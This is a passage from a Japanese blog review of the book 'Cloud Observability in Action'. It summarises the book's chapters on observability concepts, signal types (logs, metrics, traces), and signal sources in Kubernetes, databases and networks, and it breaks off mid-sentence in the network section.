Action」は、クラウドネイティブなシステムにおけるオブザーバビリティの概念と実践方法を包括的に解説した一冊です。learning.oreilly.comオブザーバビリティとは、システムの外部から観測できる情報に基づいて、内部の状態を推論し理解する能力のことを指します。本書では、オブザーバビリティを投資対効果の観点から捉え、データの生成から収集、処理、可視化に至るまでのプロセス全体を俯瞰します。OpenTelemetryやPrometheus、Grafana、Loki、Jaegerなどのオープンソースツールを活用し、誰でも実践的な知見を時間以外の費用をかけずに得られるよう工夫されています。著者自身の豊富な経験に基づくベストプラクティスが随所に盛り込まれているのと参考になるURLをめちゃくちゃに共有してくれております、開発者やSREだけでなく、あらゆるクラウドネイティブ関係者にとって有益な内容となっています。単なるツールの使い方の解説にとどまらず、オブザーバビリティを組織文化として定着させるためのヒントも提供されています。本書を通して、オブザーバビリティの本質的な価値とその実現に向けた道筋を学ぶことができるでしょう。得られた知見をどのように活用するかは読者次第ですが、システムと組織の継続的な進化を支える原動力として、オブザーバビリティをバズワードとして盲目的に始めずに目を見開いてオブザーバビリティを捉える視座を得られるはずです。本稿では、各章の要点を丁寧に読み解きながら、私なりの学びと気づきをシェアしていきます。皆様にとっても、オブザーバビリティへの理解を深め、その実践への一歩を踏み出すきっかけとなれば幸いです。Cloud Observability in Action作者:Hausenblas, MichaelManningAmazonこの本の構成本書「Cloud Observability in Action」では、クラウドネイティブなシステムにおけるオブザーバビリティの概念と実践方法が包括的に解説されています。第1章ではエンドツーエンドの例が示され、ソースからエージェント、宛先までの用語が定義されているとともに、可観測性の文脈におけるユースケース、役割、課題について説明されています。第2章ではログ、メトリック、トレースといったさまざまなテレメトリ信号タイプと、それらの使い分け方、収集方法、コストと利点について述べられています。第3章ではテレメトリが生成される信号ソースについて、種類や選択方法、インストルメントコードの扱い方が解説されています。第4章ではOpenTelemetryを中心に、ログルーターからのさまざまなテレメトリエージェントが紹介されています。第5章では、Prometheusなどの時系列データベースやClickHouseなどの列指向データストアを例に、テレメトリ信号のバックエンド宛先について学ぶことができます。第6章では可観測性フロントエンドについて、純粋なフロントエンドとオールインワンの選択方法が説明されています。第7章ではクラウドオペレーションの側面として、異常検知や過去の失敗からの学習、アラート、使用状況、コスト追跡について述べられています。第8章では分散トレースとマイクロサービスの理解・トラブルシューティングへの活用方法が、第9章では継続的なプロファイリングと開発者の生産性ツールを中心に開発者の可観測性について詳解されています。第10章ではサービスレベル目標の設定と消費者満足度の問題への対処方法が、第11章では単一の信号タイプでは解決できない課題と信号相関によるアプローチが取り上げられています。付録ではOpenTelemetry、Prometheus、Jaeger、Grafanaを使用した完全なエンドツーエンドの例が提供されています。Github Repositorygithub.com目次はじめにこの本の構成Github Repository目次1 End-to-end observabilityオブザーバビリティの定義と目的オブザーバビリティのコンポーネント具体例としてのマイクロサービスアプリ \\"Sock Shop\\"クラウドネイティブの課題とその解決オブザーバビリティはクラウドネイティブ時代の必須プラクティス2 Signal typesオブザーバビリティの3本柱ログ: 人間が読み解くテキストベースの出力メトリクス: 自動化された監視・分析に役立つ数値指標トレース: マイクロサービスの処理フローを可視化する収集する信号の選定とコスト管理オブザーバビリティを支える3本柱の理解と適切な運用が肝心3 Sourcesクラウドネイティブシステムにおける多様な信号源の理解と活用コンピューティング関連のソースの詳細ストレージ関連のソースの詳細ネットワーク関連のソースの詳細自身のコード関連の詳細4 Agents and instrumentationObservabilityにおけるAgentsとinstrumentationの役割意味論的規約の重要性自動計装と手動計装の使い分けOpenTelemetry collectorの役割と設定OpenTelemetryの柔軟性と拡張性パフォーマンスとリソース効率Observabilityの新しい標準としてのOpenTelemetry自動化と最適化の必要性Observabilityの継続的な改善5 Backend destinationsバックエンドの選択がObservabilityの成功を左右するシグナルタイプごとのバックエンドオプションカーディナリティの課題とカラムナーデータストアポリグロットバックエンドアーキテクチャ制約と誓約6 Frontend destinationsフロントエンドとオールインワンソリューションの役割オープンソースとコマーシャルオファリングの比較ツール選定の考慮事項シングルパネルオブグラスとデータ相関の重要性フロントエンドとオールインワンの選択プロセスObservabilityツールの継続的な評価と改善Observabilityの価値実現に向けて7 Cloud operationsインシデント管理のベストプラクティスアラート設計のポイントと継続的な最適化今後の課題8 Distributed tracing分散トレーシングでクラウドネイティブシステムを徹底的に可視化エンドツーエンドの可視化でシステムをホリスティックに理解分散トレーシングを成功に導く秘訣分散トレーシングの未来組織の分散トレーシングは俺と仲間で育ててる9 Developer observabilityDeveloper observabilityで開発者の生産性を加速するContinuous profilingの技術的側面に迫るプロファイルの保存と分析の課題に挑むあわせて6本にしてみる...10 Observability In ActionSLOでサービスの信頼性を定量化し、顧客満足度を高めるSLOの実装と運用における留意点サービスの継続的な改善の為のSLO11 Signal correlationシグナル相関で複雑なシステムの動作を俯瞰的に理解するOpenTelemetry、Jaeger、Grafanaを使ったメトリクスとトレースの相関シグナル相関の実装における課題と対策将来に向けたシグナル相関の可能性さいごに参考資料1 End-to-end observability本章「1 End-to-end observability」は、クラウドネイティブシステムにおけるオブザーバビリティ(観測可能性)の概念と重要性を詳しく述べています。Observability Engineeringについては読書感想文を書いているので合わせて読んでみてください。syu-m-5151.hatenablog.comオブザーバビリティの定義と目的オブザーバビリティとは、システムから取得できる信号に基づいて、そのシステムの内部状態を継続的に把握し、インサイトを得ることで、システムに影響を与える能力のことです。オブザーバビリティは単に監視(モニタリング)ツールを導入するだけでは不十分です。システムの外側から収集した情報を、そのままダッシュボードなどの可視化ツールに表示するのではなく、行動可能な洞察(アクショナブルなインサイト)を生み出すことが本質的な目的となります。つまり、観測対象のシステムの外側から情報を収集し、分析を行い、それらから具体的なアクション(行動)を引き出すプロセス全体を指します。クラウドネイティブの分散システムでは、システムを構成するコンポーネントが多数に分かれ、ネットワーク経由で相互に通信を行うため、従来のモノリシックなシステムに比べてシステム全体の状態把握が困難になります。このため、オブザーバビリティが非常に重要な役割を果たします。状況を\\"飛ばず\\"に把握し、適切な制御を行えるようになることで、以下のようなユースケースに対応できるようになります。コード変更の影響の把握: 新機能の追加やバグ修正によるシステム全体へのインパクト(パフォーマンスへの影響、副作用の発生、リソース使用量の変化など)をモニタリングし、必要な対処を行える。サードパーティ依存関係の監視: 自社のシステムが依存する外部API(決済サービス、ロケーションサービスなど)の可用性、健全性、パフォーマンスを把握し、問題が発生した際の対応を行える。ユーザー体験(UX)の測定: アプリケーションやサービスの応答性、信頼性をユーザーの視点から継続的に測定し、UXの維持・改善につなげられる。システムの健全性とパフォーマンスの追跡: システム全体のアップタイム、応答時間分布、障害の影響範囲(有償ユーザへの影響、無償ユーザへの影響、重要取引先への影響など)を継続的に監視できる。障害の影響範囲(ブラストレディウス)の特定: 障害発生時に、その障害がシステム全体にどの程度影響を与えているのか(ブラストレディウス)を特定できる。さらに根本原因を絞り込み、Kubernetesコントロールプレーン、データプレーン、VMなどの障害発生場所を特定できる。サービスの最適化: サービスのパフォーマンス、リソース使用量、コスト、応答時間などを定量的に測定し、ボトルネックの特定や最適化を行える。開発者生産性の向上: アプリケーションコードのプロファイリングやログ解析などを通じて、パフォーマンスの問題箇所や冗長なコードの特定が可能になり、適切にコード改善を行うことで開発者の生産性を高められる。アクセスとコンプライアンスの監査: 様々なサービスやデータへのアクセス権限を自動的に追跡し、不正アクセスを検知できる。さらに監査証跡を残すことで、規制当局からの検査に備えられる。オブザーバビリティの目的は、上記のようなユースケースに対して、システムの状況をデータドリブンに把握し、適切な対処を迅速に行えるよう支援することにあります。単なるモニタリングツールの導入ではなく、収集した様々な種類の情報から総合的かつ根本的な理解を得て、それに基づいてアクションを起こすことが重要となります。オブザーバビリティのコンポーネントオブザーバビリティを実現するためには、さまざまなコンポーネントが関係してきます。これらのコンポーネントが有機的に連携し、それぞれの役割を果たすことで、オブザーバビリティが実現されます。主なコンポーネントは以下の通りです。システム(System under observation): 観測対象となるクラウドネイティブアプリケーションやプラットフォーム全体信号(Signals): システムから外部に出力される、以下の3種類の情報ログ: アプリケーションの動作履歴をプレーンテキストで記録した情報。エラーメッセージや例外の詳細情報などが含まれる。メトリクス: アプリケーションの運用状況を数値で表した指標。CPU使用率、メモリ使用量、リクエスト処理時間、エラー率などのデータ。トレース: 個々のリクエストがシステムの各コンポーネントを通過する際の、処理フローと時間情報の記録。サービス間の呼び出し関係と、それぞれの処理にかかった時間を特定できる。ソース(Sources): アプリケーションコード、データベース、メッセージキュー、クラウドプロバイダのマネージドサービスなど、信号を生成するコンポーネント。エージェント(Agents): 信号を収集し、前処理やルーティングを行う役割。例えばFluentBitはログのエージェント、OpenTelemetry Collectorはメトリクス/トレースのエージェントとして機能する。宛先(Destinations): ダッシュボード、アラートシステム、長期ストレージ、分析ツールなど、信号を消費し可視化/分析を行う場所。Telemetry: 信号をソースから収集し、エージェントを経由して前処理や分割を行った後、宛先に送信するプロセス全体のこと。fluentbit.io以下の図はこれらのコンポーネント間の関係を視覚化しています。Figure 1.1 Observability overview より引用オブザーバビリティは一方通行のプロセスではなく、フィードバックループを形成しています。例えば、人間がダッシュボードから情報を得て再起動のアクションを取ったり、アプリケーションがメトリクスに基づいて自動スケーリングを行ったりと、収集した信号に基づいてシステムに影響を与えることになります。様々な信号を組み合わせて分析することで、より深いシステムの理解につながり、適切なアクションを起こすことができます。単一の信号からは得られない総合的なインサイトを、信号間の相関によって引き出すことが可能になります。具体例としてのマイクロサービスアプリ \\"Sock Shop\\"本章では、Weaveworksが公開しているマイクロサービスアプリケーション\\"Sock Shop\\"を具体例に、オブザーバビリティの実践を説明しています。Sock Shopは、Spring Boot、Go kit、Node.jsなど複数の言語・フレームワークを用いて構築された、オンラインストアのデモアプリです。kakakakakku.hatenablog.comDocker コンテナイメージに格納されており、Kubernetes などのコンテナオーケストレーターで実行できます。Figure 1.2 The example microservices app we use for observability exploration より引用本章では、このアプリを実際にKubernetes上で起動し、それぞれのコンポーネントが出力するログやメトリクスの具体例が紹介されています。ログの例(ソース: ordersサービス)Javaで実装されたSpring Bootベースのマイクロサービスから出力されるログが示されています。ログを有効に活用するには、FluentBitなどのエージェントを使ってOpenSearch や CloudWatch などの宛先にルーティングする必要があります。メトリクスの例(ソース: frontendサービス)フロントエンドのNode.jsサービスから出力されるメトリクスがPrometheus形式で示されています。メトリクスを収集するには、Prometheus自身かOpenTelemetry Collectorなどのエージェントが必要です。長期保持のためにはCortexやThanosなどの宛先を用います。このようにSock Shopは、実際にクラウドネイティブなマイクロサービスアプリケーションが出力する様々な信号を確認できる題材として使われています。github.comさらに、トレースについても簡単に触れられており、リクエストの実行フローの可視化や、各サービスの処理時間、ステータスなどを確認できるとされています。オブザーバビリティを実現するには、Jaeger、Zipkin、AWS X-Rayなどのトレーシングツールの導入が必要になります。クラウドネイティブの課題とその解決クラウドネイティブなシステムには、従来のモノリシック構成のシステムとは異なる以下のような課題があり、オブザーバビリティがその解決を助けます。分散システム: コンポーネントが分散し、ネットワーク経由で疎結合に結ばれているため、システム全体を把握することが難しい。モノリシックな構成に比べ、システムの\\"見えづらさ\\"が高まる。コンポーネントの場所の重要性: リクエストを処理する各コンポーネントの実行場所(ノード、アベイラビリティーゾーン、リージョンなど)が、パフォーマンスやレイテンシーに大きく影響する。場所情報の重要性が増す。コンポーネントの頻繁な入れ替えと揮発性: マイクロサービスのコンポーネントやKubernetesのPod、Lambda関数バージョンの入れ替えが非常に頻繁に行われ、さらにIPアドレスも動的に変化するなど、システム構成の揮発性が高まる。これらの課題に対して、オブザーバビリティは以下のように貢献します。全ての関連する信号を自動収集し、アクションに結びつける手段を与えるシステムを\\"飛ばず\\"に把握し、状況に応じた適切な制御を行えるようになる。ログ、メトリクス、トレースなど複数の信号を収集・分析することで、システムへの深い理解を得られる。信号間の相関により、単一の信号からは得られない総合的な把握が可能になる異なる種類の信号を組み合わせることで、より包括的な視点が得られる。例えばメトリクスの異常からトレースにドリルダウンし、さらにログを確認することで、障害の原因を徹底的に追究できる。オープンスタンダードとオープンソースの採用によりポータビリティが確保され、特定のベンダーやプラットフォームへのロックインを回避できる例えば、OpenTelemetryを用いてアプリケーションに計装を行えば、後からデータ収集の宛先を柔軟に変更可能になる。異なるクラウドプロバイダ間や、オンプレとクラウドをまたいでも同じ方式が適用できる。一方で、オブザーバビリティの導入と運用には以下のようなコストがかかります。計装の開発者の労力アプリケーションコードにロギングやメトリクス、トレーシングの計装を行う必要があり、継続的な労力を要する。信号(ログなど)の保持コスト長期保持が必要なログなどの信号データを保存する、ストレージ費用が発生する。エージェントや計装自体の計算リソースオーバーヘッド信号収集やルーティングを行うエージェントプロセス自体に、一定のCPU/メモリリソースが必要になる。ネットワーク使用量に応じたコスト収集された信号のデータ転送に伴うネットワークトラフィックの費用も考慮しなければならない。これらのコストに見合うだけの投資対効果があるかどうかを、個々の状況において適切に判断する必要があります。効果の測定として、オブザーバビリティツールの導入前後での障害からの平均復旧時間(MTTR)の改善を確認するのが一般的です。その他、開発者のストレス軽減やワークライフバランスの向上など、定性的な効果も期待できます。Return on Investment Driven Observability では、この投資対効果について詳しく議論されています。本書では、教育的な観点から、ログ、メトリクス、トレースといった概念の境界線に沿って解説を進められています。しかし、実際の現場では、これらの概念が混在していることが多いです。プロジェクトやプロダクトが成熟するにつれ、スコープが広がり、概念の切り分けが難しくなるのです。例えば、ログデータの中にメトリクスとして活用できる情報が含まれていたり、トレースデータからログ的な情報を抽出したりすることがあります。また、これらの概念を組み合わせて、より高度な分析や監視を行うこともあるでしょう。本書を活用する際は、このような教育的な側面と実践的な側面のバランスを意識していただければと思いました。概念の境界線を理解することは重要ですが、同時に現場での柔軟な適用も必要不可欠です。本書で得た知識を基礎として、実際のプロジェクトやプロダクトの文脈に合わせて応用していくことが求められます。オブザーバビリティはクラウドネイティブ時代の必須プラクティスオブザーバビリティは、クラウドネイティブな分散システムを効果的に運用する上で不可欠なプラクティスと言えます。システムから出力される様々な信号(ログ、メトリクス、トレース)を収集し、相関させることで、システム全体の状況を多角的に把握し、適切な対処を迅速に行えるようになります。しかしながら、オブザーバビリティの導入と運用には一定のコストがかかります。計装の労力、データ保持コスト、リソースオーバーヘッド、ネットワークトラフィックなどです。これらのコストに見合うだけの効果(MTTRの改善、開発者の生産性向上など)があるかを、個別のユースケースにおいて検討する必要があります。オープンスタンダードとオープンソースのツールを適切に選択・活用することで、特定のベンダーにロックインされるリスクを回避でき、ポータビリティを確保できます。例えばOpenTelemetryはその好例です。オブザーバビリティは、単なるモニタリングツールの導入ではなく、システムへの深い理解を得て、適切なアクションにつなげるための実践的な取り組みです。クラウドネイティブ時代において、ソフトウェアエンジニアやSREが理解しておくべき重要な概念であり、実務で実践していく必要があります。syu-m-5151.hatenablog.com2 Signal typesオブザーバビリティの3本柱クラウドネイティブな分散システムを効率的に監視・運用するためには、ログ、メトリクス、トレースという3つの主要な信号タイプを適切に組み合わせたオブザーバビリティが不可欠です。本章では、それぞれの信号タイプについて詳しく解説されており、その特徴、計装の方法、コスト、利点、オブザーバビリティへの貢献などが丁寧に説明されています。さらに、実際のサンプルアプリケーションを用いた具体例を通して、各信号タイプの収集・可視化方法が示されており、監視システムの構築に役立つ実践的な知見が提供されています。ログ: 人間が読み解くテキストベースの出力ログはアプリケーションの動作履歴やエラー情報などをテキストで記録したものです。開発者がバグの特定を行ったり、SREが障害の原因を追跡する際に、ログの存在は非常に重要です。近年では構造化データ形式(JSONフォーマットなど)を用いたログが主流となり、コンテキスト情報(ラベル)を付与することで検索性や相関性が向上しています。本章ではGoの logrus ライブラリを使って、サンプルアプリケーションに構造化ログの出力機能を追加する例が示されています。github.com出力されたログは FluentBit エージェントによって収集され、 Loki へ転送されます。GrafanaでLokiのデータソースを設定してを、Lokiを使ってログを可視化・探索することができます。grafana.comログには計装のための開発コストや、大量のログデータを保持するためのストレージコストがかかります。しかし、大半の開発者に理解されており、プログラミング言語の標準ライブラリでサポートされているのがログの大きな利点です。保持コストを抑えるには、データの温度(アクセス頻度)に応じて適切な保持期間を設定することが重要です。ホットデータ: 直近のログであり、即座にアクセス可能で高速な検索性が求められる(数日〜数週間程度)ウォームデータ: すぐには必要ないが将来的に参照する可能性のあるログ(数ヶ月〜数年程度)コールドデータ: アクティブには使わないが規制上保持が義務付けられているログ(長期保持用のオブジェクトストレージなどに格納)ログは人間が読み解くことを前提とした信号タイプですが、近年では Promtail のようなエージェントによる構造化ログの収集や、Lokiのようなデータストアでのラベルベース検索が可能になってきました。一方で完全にテキスト検索に頼らず、トレースへの移行を推奨する意見 (https://arxiv.org/abs/2303.13402) もあり、ケースバイケースでの適切な選択が重要になってくるでしょう。grafana.comメトリクス: 自動化された監視・分析に役立つ数値指標メトリクスは定期的にサンプリングされる数値の指標であり、システムやアプリケーションの状態を数値で表します。CPU使用率、メモリ使用量、リクエスト処理時間、エラー率など、ほとんどの監視対象項目はメトリクスとして表現できます。メトリクスの大きな利点は、数値であるがゆえに自動化された監視・分析が可能になることです。本章ではGo製アプリケーションにPrometheus Client Libraryを使ってメトリクスの出力機能を追加し、エラー率のメトリクスを計算するコードが紹介されています。github.comこのアプリから出力されるメトリクスは Prometheus エージェントによって収集され、GrafanaでPrometheusのデータソースを設定して、Prometheusを使ってメトリクスを可視化・分析します。grafana.comメトリクスの計装コストは自動化の恩恵を受けられるケースが多く、比較的低コストです。プログラミング言語の標準ライブラリやミドルウェアによる自動計装の機能が増えてきており、手動での計装コストも限定的です。一方で、指標の種類が増えるとカーディナリティ爆発の問題が発生する可能性があります。例えばユーザーIDをメトリクスのラベルに含めると、大量のユーザーがいる場合に膨大な種類の指標が生成されてしまいます。このようなカーディナリティの高いメトリクスを時系列データベースで保持・検索しようとすると、パフォーマンスが極端に低下する恐れがあります。そのため、収集するメトリクスの種類を限定する、オートプルーニングを行うなど、適切なカーディナリティ管理が重要になります。また、大量のメトリクスデータを長期保持する際には、データ圧縮や集約が必須です。Cortex や Thanos のようなシステムが、スケーラブルなメトリクス長期保存のためのベストプラクティスを提供しています。収集するメトリクスの種類、保持期間、データ形式などを検討する必要があります。メトリクスの主な利用シーンとしては以下が挙げられます。ダッシュボード表示: CPU使用率や処理レイテンシーなどをリアルタイムにモニタリングするアラート発報: メトリクスの閾値超過を検知し、自動的にアラートを通知する自動スケーリング: リクエスト数などのメトリクスに基づいてリソースを動的に拡張/縮小するSLI/SLO監視: サービスレベルインディケータ(SLI)としてのメトリクスを使い、合意された目標水準(SLO)の達成状況をモニタリングするアノマリー検知: 機械学習で正常値の範囲を予測し、異常値を検出するメトリクスはオブザーバビリティを実現する上で中心的な役割を担う信号タイプです。数値指標であるがゆえに自動化が容易であり、リアルタイムな監視だけでなく長期的なトレンド分析や容量計画にも活用できます。トレース: マイクロサービスの処理フローを可視化するトレースは分散システムにおけるリクエストの処理フローを可視化する手段です。マイクロサービスアーキテクチャを採用する上で、そのコンポーネント間の呼び出し関係を把握することは非常に重要です。トレースはリクエストに固有のIDを割り当て、各サービスでの処理時間とステータスを記録することで、そのリクエストの実行フローを可視化します。本章では OpenTelemetry Go ライブラリ を使って、サンプルアプリケーションにトレーシングの機能を追加する例が示されています。github.com生成されたトレースは Jaeger によって収集・可視化されており、GrafanaでJaegerのデータソースを設定して、JaegerのTrace Viewを見ることができます。grafana.comトレースの計装コストは比較的高めですが、マイクロサービス間の呼び出し関係の可視化やボトルネックの特定に役立つため、分散システムを運用する上では非常に重要です。一方で、大量のトレースデータを保持するためのストレージコストや、リクエストへのコンテキスト伝搬によるパフォーマンスオーバーヘッドにも注意が必要です。トレースデータを保存するためのストレージとしては以下のようなアプローチが一般的です。専用のデータストア (ClickHouseなど)NoSQLデータベースを活用 (Cassandra、HBase、Elasticsearchなど)オブジェクトストレージとクエリエンジン (Grafana Tempoなど)各アプローチにはトレードオフがあり、データ量、検索パフォーマンス、コストなどの要件に合わせて適切なものを選択する必要があります。トレースの主な利用シーンは以下のようになります。レイテンシーの特定: リクエスト処理の遅延箇所を特定し、パフォーマンスの最適化を行うデバッグ支援: 本番環境での障害発生時に、該当リクエストのトレースを参照してルート原因を特定するアーキテクチャ可視化: サービスマップやサービス間の呼び出し関係を把握し、アーキテクチャの改善に活かすこのようにトレースは、マイクロサービスアーキテクチャにおける処理フローの可視化を実現する上で非常に重要な役割を担っています。SREやオンコール担当者がインシデント発生時の初動対応を行う際に活用されることも多くなってきています。収集する信号の選定とコスト管理本章の終盤では、オブザーバビリティを実現するために収集すべき信号の選定と、コストコントロールに関する考え方が説明されています。アクションにつながるインサイトを生むか、適切な保持期間が設定できるか、ROI(投資対効果)を考慮する必要があります。具体的な指針は以下の通りです。収集する信号がアクションにつながるインサイトを生み出すか? 単にノイズになるだけの信号は避けるべき信号の保持期間をどう設定するか? タスクや業界の規制に合わせて適切に決めるメトリクスの正常な値範囲(ベースライン)を設定し、異常検知に活用する信号の過剰収集は避け、ROIを意識する 保持するメリットが不明確な信号はコストの無駄収集する全ての信号で一貫したラベル付けを行う 相関性の確保に役立つこのように、オブザーバビリティを実現するためには信号の選別と、収集・保持に伴うコスト管理が重要になってきます。収集しすぎても意味がありませんし、重要な情報が欠落していても目的が果たせません。用途に合わせて 適切な種類の信号を適切な量だけ収集する という観点が欠かせません。オブザーバビリティを支える3本柱の理解と適切な運用が肝心ログ、メトリクス、トレースは、クラウドネイティブな分散システムのオブザーバビリティを実現する上で、それぞれ異なる役割を担う重要な3つの信号タイプです。ログはテキストベースの出力であり、人間が読み解いて状況を把握したりデバッグを行う際に役立ちます。メトリクスは数値の指標であり、自動化された監視・分析や、アラート発報、自動スケーリングなどに適しています。トレースはマイクロサービス間の処理フローを可視化する手段であり、分散システムを運用する上で欠かせません。各信号タイプにはそれぞれ長所と短所があり、3つの信号を組み合わせて収集・活用することで、システム全体の状況を多角的に把握できるようになります。しかし、それぞれに計装コストや保持コスト、リソース消費などのオーバーヘッドがあるため、収集する信号とその収集方法については、ユースケースごとのコストとROIを考慮する必要があります。本章ではサンプルアプリを使った具体例を交えながら、各信号タイプの特徴や計装の方法、Fluentbit、Promtail、Prometheusなどの収集エージェントの利用方法、GrafanaやLoki、Jaegerなどの可視化ツールの活用例が解説されています。これらの知見は監視システムの構築や運用を検討する上で参考になるはずです。ソフトウェアエンジニアやSREは、3つの信号タイプの特性を理解した上で、システムの要件に合わせて最適な組み合わせと収集方法を選択し、効率的なオブザーバビリティの実現を目指す必要があります。 信号の過剰収集に陥らず、ラベル付けの統一や信号間の相関性の確保など、コストを抑えながら有用な情報を得られる適切な運用が何より重要になります。オブザーバビリティの実現には、これら3つの主要な信号タイプを適切に組み合わせた上で、効果的な収集と活用を行うことが不可欠です。各信号タイプには一長一短があり、単独では十分なオブザーバビリティを得ることはできません。ログは人間が読み解くためのテキスト出力ですが、構造化の進展により自動分析の機会も増えてきました。しかしマイクロサービスアーキテクチャにおいては、処理フローの可視化という点でトレースに一部の役割が移行しつつあります。用途に応じてログとトレースを使い分ける必要があります。一方、メトリクスは数値指標のため自動化が容易であり、リアルタイムの監視だけでなく長期的な分析や容量計画にも活用できます。ただし、メトリクスの種類が増えるとカーディナリティ爆発のリスクがあり、適切なカーディナリティ管理が欠かせません。また、大量データの長期保持にはデータ圧縮や集約が必須になります。トレースはマイクロサービス間の処理フローを可視化するため、分散システムの運用では欠かせません。一方で、計装コストが高く、大量データの保持やコンテキスト伝搬によるパフォーマンスオーバーヘッドにも留意が必要です。ストレージの選択では、データ量やパフォーマンス要件、コストを考慮する必要があります。このように、オブザーバビリティを実現するには、3つの信号タイプそれぞれの長所と短所を理解した上で、システムの要件に合わせて最適な組み合わせと収集方法を選択することが肝心です。信号の過剰収集は避け、ラベル付けの統一やコスト管理、信号間の相関性の確保など、効率的な運用が何より重要になります。収集する信号については、以下の点を考慮する必要があるとしています。アクションにつながるインサイトを生み出すか?適切な保持期間が設定できるか?メトリクスの正常値範囲(ベースライン)は設定できるか?ROI(投資対効果)を意識した収集が可能か?信号間で一貫したラベル付けができるか?ソフトウェアエンジニアやSREは、このような点に留意しながら、効率的なオブザーバビリティの実現に努める必要があります。本章で示された具体例は、実際の監視システム構築の参考になるはずです。コストを抑えつつ、有用な情報を効果的に収集・活用できる環境を整備することが求められます。3 Sourcesクラウドネイティブシステムにおける多様な信号源の理解と活用本章「3 Sources」では、クラウドネイティブシステムにおけるオブザーバビリティの実現に欠かせない、様々な信号源(ソース)について詳しく解説されています。コンピューティング、ストレージ、ネットワーク、そして自身のコードに至るまで、各ソースからの信号取得の重要性と注意点が丁寧に説明されており、オブザーバビリティの実践に向けた実用的な知見が提供されています。Figure 3.1 A spectrum of compute, infrastructure, and application level より引用この図はコンピューティングリソースをインフラストラクチャレベル(VM、コンテナなど)とアプリケーションレベル(マイクロサービスやモノリシックアプリなど)に分けて示しています。インフラストラクチャレベルの監視は主に運用者が関与し、アプリケーションレベルの監視は開発者が関与する、といった役割分担が一般的です。しかしながら実際のプロダクション環境では、これら2つのレベルが複合的に組み合わさっていることが多いため、様々なソースからの信号を包括的に収集・相関させる必要があります。Figure 3.2 Signal sources in Kubernetes より引用この図はKubernetesにおけるコントロールプレーンとデータプレーンから出力される様々な信号源を示しています。コントロールプレーンのコンポーネントであれば、主にログとメトリクス、一部でトレースが出力されます。一方のデータプレーンではアプリケーションコンポーネントからログ、メトリクス、トレースが出力されることが一般的です。単一のプロダクト内に多種多様な信号源が存在するため、ホリスティックなオブザーバビリティ対応が求められます。以上の通り、クラウドネイティブな分散システムにはさまざまな種類の信号源が存在し、それぞれ特有の注意点があります。ソフトウェアエンジニアやSREは、これら多様な信号源の存在を理解した上で、用途に応じて適切な手段を選択し、効率的なオブザーバビリティの実現を目指す必要があります。単一の手法に固執するのではなく、必要に応じて収集方法を使い分けながら、ホリスティックな可視化を実現することが肝心です。そのためには本章で解説された信号源に関する深い理解が不可欠だと思います。コンピューティング関連のソースの詳細VMについては、オペレーティングシステムレベルの情報が参照できる点が大きな利点です。本書ではJVMを例に挙げ、JVMはログ、ヒープメモリ使用量、スレッド数など様々なメトリクスを出力することが説明されています。実際のJVM監視ツールとしてはSematextの提供するガイドが紹介されています。JVMは豊富な信号源となり、開発者はこれらのメトリクスを活用してパフォーマンスチューニングやデバッグを行えます。コンテナの場合、コンテナランタイム自体と、コンテナ内で実行されるアプリケーションの両方から情報が出力されます。コンテナランタイムの例としてDockerデーモンが挙げられ、docker logsコマンドでコンテナログを参照できます。また、Dockerコンテナ内のアプリケーションも標準的にログを標準出力に出力するよう12ファクターアプリの設計思想に従います。コンテナランタイムのメトリクス収集には、cAdvisorやTelegrafのDockerプラグインが活用できます。開発者はアプリケーションログを参照し、運用者はコンテナランタイムのメトリクスを監視することで、それぞれの観点からコンテナの状況を把握できます。Kubernetesでは多岐にわたるコンポーネントから様々なシグナルが出力されるため、包括的な理解が重要になります。コントロールプレーンのコンポーネント(APIサーバー、etcd、kubeletなど)からはログ、メトリクス、監査ログ、トレース(APIサーバーのみ)が出力されます。一方のデータプレーンではアプリケーションからのログ、メトリクス、トレースが主な情報源となります。Figure 3.2がKubernetesにおける様々な信号源を示しています。本文中でも触れられているように、Kubernetesではログの取り扱いが分散されており、収集の仕組みを整備する必要があります。アプリケーションログはkubectl logsで一時的に参照できますが、本番環境では永続化が必須です。Fluentbit、Fluentdなどのエージェントを使ってクラウドプロバイダーのログ基盤に転送するのが一般的なパターンです。Kubernetesでは、ログに加えメトリクスとトレースにも注目が集まっています。メトリクスはPrometheus形式で出力されており、kubectl get --raw /metricsで参照できます。一方、トレースはOpenTelemetryを使ってAPIサーバーの動作を追跡できるよう、コミュニティによってサポートが進められています。ストレージ関連のソースの詳細RDBMSでは、パフォーマンスモニタリングにおいてクエリプランナーの動作を理解することが肝心です。PostgreSQLの場合はEXPLAINでプランを確認できますし、各種モニタリングツールでも詳細情報にアクセスできます。例えばpgMonitorなら待機リソースのボトルネックやクエリの履歴なども確認できます。ベンダー製品でも同様の情報を得られます。例えばAWS Redshiftでは、CPU、メモリ、ストレージの使用量など基本的なメトリクスに加え、明示的にスロークエリIDを確認できます。RDBMSではパフォーマンスの観点からクエリプランナーの動作を細かく監視することが重要ですが、NoSQLデータストアではアプローチが異なります。NoSQLデータストアでは、アクセスパターンやストレージレイアウトが重要な監視対象となります。例えば、キャッシュとしても使われるRedisであれば、メモリ使用量のメトリクスが有用です。一方でMongoDB(ドキュメントストア)では、ディスクIOパフォーマンスのメトリクスに注目する必要があります。本書ではElasticsearch(検索エンジン)の事例も紹介されており、背景にあるLuceneのインデックシングプロセスを監視する重要性が説明されています。このようにNoSQLではアクセスパターンに合わせて監視対象を適切に選定することが求められます。RDBMSやNoSQLデータストアのメトリクスを収集する手段としては、PostgreSQL Server ExporterやpgMonitor、クラウドベンダー製品の活用が挙げられています。自社運用の場合はPrometheusと組み合わせるといった方法もあり、より詳細なカスタマイズが可能です。一方でクラウドベンダー製品を利用すれば、運用の手間を大幅に削減できます。RDBMSとNoSQLでは監視の着眼点が異なるため、目的に合わせて適切な手段を選ぶ必要があります。ネットワーク関連のソースの詳細ネットワークデバイスからは大量のログが出力されます。そのためノイズを除去し、価値のある情報だけを抽出することが課題となります。例えばロードバランサーであれば、リクエストの送信元IPやパスに基づいてフィルタリングすると効率的なモニタリングが行えます。AWS ALBの場合は、リクエスト量、アクティブコネクション数、HTTPステータスコードなどのメトリクスが出力されます。ALB自体の稼働状況だけでなく、バックエンドへのトラフィック情報なども確認できるため、アプリケーションの挙動を多角的に監視することが可能です。より高度な運用では、リクエストコンテンツやレスポンスページのレンダリング時間などもモニタリング対象になりうるでしょう。VPNやVPCから得られる情報では、セキュリティモニタリングが主な用途となります。例えばVPC 